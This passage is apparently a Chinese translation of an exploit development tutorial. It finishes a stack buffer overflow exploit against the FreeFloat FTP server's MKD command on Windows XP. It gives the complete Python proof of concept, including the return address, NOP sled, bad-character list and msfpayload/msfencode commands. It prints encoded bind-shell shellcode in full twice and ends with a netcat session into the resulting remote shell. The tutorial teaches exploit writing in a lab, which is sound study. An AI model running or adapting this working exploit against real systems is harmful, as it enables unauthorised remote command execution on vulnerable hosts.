Question

我们完成了大部分工作. 我们需要

1. 在 POC 增加一个变量，保存 shellcode
2. 插入一个 payload

开始吧，我们用 payload 插入现在 CCCC…地方，如果插入的 payload 长度不固定，我们希望缓冲区长度动态修改以便我们不需要重新计算长度. 还应该插入一些 NOP’s(空操作= \x90) 填充在 payload 前面. 你可以下面看到结果. 插入到 shellcode 变量的任何 shellcode 都能被执行。

#!/usr/bin/python
import socket
import sys
shellcode = (
)
#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp #  ret  | msvcrt.dll
#------------------------------------------------------------
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

万事俱备，只欠 shellcode. 可以用 msfpayload 获得 shellcode, msfencode 过滤坏字符。

root@bt:~# msfpayload -l
[...snip...]
windows/shell/reverse_tcp_dns   Connect back to the attacker, Spawn a piped command shell (staged)
windows/shell_bind_tcp      Listen for a connection and spawn a command shell
windows/shell_bind_tcp_xpfw     Disable the Windows ICF, then listen for a connection and spawn a 
                  command shell
[...snip...]
root@bt:~# msfpayload windows/shell_bind_tcp O

     Name: Windows Command Shell, Bind TCP Inline
   Module: payload/windows/shell_bind_tcp
  Version: 8642
   Platform: Windows
     Arch: x86
Needs Admin: No
 Total size: 341
     Rank: Normal
Provided by:
  vlad902 <vlad902@gmail.com>
  sf <stephen_fewer@harmonysecurity.com>
Basic options:
Name    Current Setting  Required  Description
----    ---------------  --------  -----------
EXITFUNC  process      yes     Exit technique: seh, thread, process, none
LPORT   4444       yes     The listen port
RHOST            no    The target address

Description:
  Listen for a connection and spawn a command shell
root@bt:~# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1
unsigned char buf[] = 
"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"
"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"
"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"
"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"
"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"
"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"
"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"
"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"
"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"
"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"
"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"
"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"
"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"
"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"
"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"
"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"
"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"
"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"
"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"
"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"
"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"
"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"
"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"
"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92";

美化代码，增加了些注释. 所以最后的漏洞利用程序如下。

#!/usr/bin/python
#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF)                         #
# OS: WinXP PRO SP3                                #
# Author: b33f (Ruben Boonen)                            #
# Software: http://www.freefloat.com/software/freefloatftpserver.zip         #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 2 of my Exploit Development tutorial series... #
# http://www.fuzzysecurity.com/tutorials/expDev/2.html               #
#----------------------------------------------------------------------------------#
# root@bt:~/Desktop# nc -nv 192.168.111.128 9988                   #
# (UNKNOWN) [192.168.111.128] 9988 (?) open                    #
# Microsoft Windows XP [Version 5.1.2600]                      #
# (C) Copyright 1985-2001 Microsoft Corp.                      #
#                                          #
# C:\Documents and Settings\Administrator\Desktop>                 #
#----------------------------------------------------------------------------------#
import socket
import sys
#----------------------------------------------------------------------------------#
# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c #
# [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)           #
#----------------------------------------------------------------------------------#
shellcode = (
"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"
"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"
"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"
"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"
"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"
"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"
"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"
"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"
"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"
"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"
"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"
"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"
"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"
"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"
"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"
"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"
"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"
"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"
"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"
"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"
"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"
"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"
"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"
"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92")
#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D                               #
# 0x77c35459 : push esp #  ret  | msvcrt.dll                     #
# shellcode at ESP => space 749-bytes                        #
#----------------------------------------------------------------------------------#
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

下图可以看到运行这个脚本前后 netstat –an 命令的结果，程序反连到绑定的 shell, 游戏结束！！

root@bt:~/Desktop# nc -nv 192.168.111.128 9988
(UNKNOWN) [192.168.111.128] 9988 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
    Connection-specific DNS Suffix  . : localdomain
    IP Address. . . . . . . . . . . . : 192.168.111.128
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . : 
C:\Documents and Settings\Administrator\Desktop>